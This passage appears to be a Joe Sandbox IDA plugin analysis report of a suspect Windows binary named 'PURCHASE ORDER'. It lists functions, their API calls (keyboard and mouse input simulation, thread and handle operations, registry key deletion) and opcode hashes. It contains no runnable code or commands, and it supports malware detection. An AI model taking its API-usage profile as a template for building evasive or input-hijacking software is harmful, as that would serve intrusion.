                                                                            • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                            • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                          • String ID:
                                                                          • API String ID: 1269668773-0
                                                                          • Opcode ID: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                          • Instruction ID: 083f1b3d72dc2b4e3073d7627409da2efaae6cca9fbdfa2eb2c15b7cb2a145f7
                                                                          • Opcode Fuzzy Hash: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                          • Instruction Fuzzy Hash: 4511E672501604EFC720AF76DC868DF7BA4EF80334F21412FF525922D1DB788981966D
                                                                          Function 00439102 Relevance: 10.5, APIs: 7, Instructions: 46threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
                                                                            • Part of subcall function 00438FE4: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FEF
                                                                          • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
                                                                          • GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
                                                                          • DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
                                                                          • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
                                                                          • GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
                                                                          • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
                                                                          • CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                          • String ID:
                                                                          • API String ID: 1957940570-0
                                                                          • Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                          • Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
                                                                          • Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                          • Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65
                                                                          Function 0041568B Relevance: 10.5, APIs: 7, Instructions: 37threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                            • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                            • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                            • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                          • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                            • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                          • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                            • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                          • ExitThread.KERNEL32 ref: 004156BD
                                                                          • __freefls@4.LIBCMT ref: 004156D9
                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                          • String ID:
                                                                          • API String ID: 4166825349-0
                                                                          • Opcode ID: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                          • Instruction ID: 1015f584654e325efa3cacb901eba7c9ae2b5aefa54885f90b4e6d99173acdac
                                                                          • Opcode Fuzzy Hash: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                          • Instruction Fuzzy Hash: 14F049745007009BD704BF72DD159DE7B69AF85345761C85FB80897222DA3DC9C1CB9C
                                                                          Function 00434124 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
                                                                          • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
                                                                          • API String ID: 2574300362-3261711971
                                                                          • Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                          • Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
                                                                          • Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                          • Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68
                                                                          Function 0047B1D0 Relevance: 9.5, APIs: 6, Instructions: 489COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                          • Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
                                                                          • Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                          • Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA
                                                                          Function 004336C7 Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetClientRect.USER32(?,?), ref: 00433724
                                                                          • GetWindowRect.USER32(00000000,?), ref: 00433757
                                                                          • GetClientRect.USER32(0000001D,?), ref: 004337AC
                                                                          • GetSystemMetrics.USER32(0000000F), ref: 00433800
                                                                          • GetWindowRect.USER32(?,?), ref: 00433814
                                                                          • ScreenToClient.USER32(?,?), ref: 00433842
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                          • String ID:
                                                                          • API String ID: 3220332590-0
                                                                          • Opcode ID: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                          • Instruction ID: 40e56d112be44df416332e5c874318f33691c6b0c201ea6c9f9086adb5117cf0
                                                                          • Opcode Fuzzy Hash: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                          • Instruction Fuzzy Hash: E9A126B42147028AC324CF68C5847ABBBF1FF98715F04991EE9D983360E775E908CB5A
                                                                          Function 00457838 Relevance: 9.2, APIs: 6, Instructions: 176COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _malloc_wcslen$_strcat_wcscpy
                                                                          • String ID:
                                                                          • API String ID: 1612042205-0
                                                                          • Opcode ID: b8a3413a850b3e9d022a14bc02158d0a95917de16b2476bc53e0af5cb97ab780
                                                                          • Instruction ID: 39b6431fb86a1cae222df6ecce28f21653e085caad8de22f1e35678e4483a9b6
                                                                          • Opcode Fuzzy Hash: b8a3413a850b3e9d022a14bc02158d0a95917de16b2476bc53e0af5cb97ab780
                                                                          • Instruction Fuzzy Hash: CD613B70504202EFCB10EF29D58096AB3E5FF48305B50496EF8859B306D738EE59DB9A
                                                                          Function 0044C522 Relevance: 9.2, APIs: 6, Instructions: 155windowkeyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
                                                                          • SetKeyboardState.USER32(00000080), ref: 0044C59B
                                                                          • PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
                                                                          • PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
                                                                          • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
                                                                          • SendInput.USER32 ref: 0044C6E2
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessagePost$KeyboardState$InputSend
                                                                          • String ID:
                                                                          • API String ID: 2221674350-0
                                                                          • Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                          • Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
                                                                          • Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                          • Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA
                                                                          Function 00445153 Relevance: 9.1, APIs: 6, Instructions: 142COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscpy$_wcscat
                                                                          • String ID:
                                                                          • API String ID: 2037614760-0
                                                                          • Opcode ID: 43efba16cd806b31402fe34b2becc3a5af32a5b4a383a164d4ea5773e04486ac
                                                                          • Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
                                                                          • Opcode Fuzzy Hash: 43efba16cd806b31402fe34b2becc3a5af32a5b4a383a164d4ea5773e04486ac
                                                                          • Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE
                                                                          Function 00447B66 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • BeginPaint.USER32(00000000,?,004A83D8,?), ref: 00447B9D
                                                                          • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                          • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                          • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                          • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                          • EndPaint.USER32(?,?), ref: 00447CD1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                                                                          • String ID:
                                                                          • API String ID: 4189319755-0
                                                                          • Opcode ID: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                          • Instruction ID: de699fe3e67e71f806f86ee7feca1bcffcb0489daa19151882f3061068cc4b26
                                                                          • Opcode Fuzzy Hash: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                          • Instruction Fuzzy Hash: D14182705043019FE320DF15C8C8F7B7BA8EB89724F04466EF9548B391DB74A846CB69
                                                                          Function 0044B474 Relevance: 9.1, APIs: 6, Instructions: 113fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B490
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                          • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4C2
                                                                          • EnterCriticalSection.KERNEL32(00000000), ref: 0044B4E3
                                                                          • LeaveCriticalSection.KERNEL32(00000000), ref: 0044B5A0
                                                                          • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B5BB
                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                          • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5D1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                          • String ID:
                                                                          • API String ID: 1726766782-0
                                                                          • Opcode ID: e3e231889b9edf0f74221ee0072ea4e59d90ce0ad37bc94b8ebeee311f112aa0
                                                                          • Instruction ID: bf52b5dc2e344941501510e432fc863898df75637e45487ca8cd05157db66b41
                                                                          • Opcode Fuzzy Hash: e3e231889b9edf0f74221ee0072ea4e59d90ce0ad37bc94b8ebeee311f112aa0
                                                                          • Instruction Fuzzy Hash: 09415C75104701AFD320EF26D845EABB3F8EF88708F008E2DF59A92650D774E945CB6A
                                                                          Function 00441077 Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
                                                                          • EnableWindow.USER32(?,00000000), ref: 0044111A
                                                                          • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
                                                                          • ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
                                                                          • EnableWindow.USER32(?,00000001), ref: 004411B3
                                                                          • SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Show$Enable$MessageSend
                                                                          • String ID:
                                                                          • API String ID: 642888154-0
                                                                          • Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                          • Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
                                                                          • Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                          • Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55
                                                                          Function 00449063 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
                                                                          • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
                                                                          • SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
                                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
                                                                          • GetWindowLongW.USER32(00000000,000000F0), ref: 0044912F
                                                                          • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0044913C
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$LongWindow$InvalidateRect
                                                                          • String ID:
                                                                          • API String ID: 1976402638-0
                                                                          • Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                          • Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
                                                                          • Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                          • Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729
                                                                          Function 00442582 Relevance: 9.1, APIs: 6, Instructions: 104COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetForegroundWindow.USER32 ref: 00442597
                                                                            • Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3
                                                                          • GetDesktopWindow.USER32 ref: 004425BF
                                                                          • GetWindowRect.USER32(00000000), ref: 004425C6
                                                                          • mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5
                                                                            • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                          • GetCursorPos.USER32(?), ref: 00442624
                                                                          • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                          • String ID:
                                                                          • API String ID: 4137160315-0
                                                                          • Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                          • Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
                                                                          • Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                          • Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6
                                                                          Function 00448851 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044886C
                                                                          • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                          • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                          • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
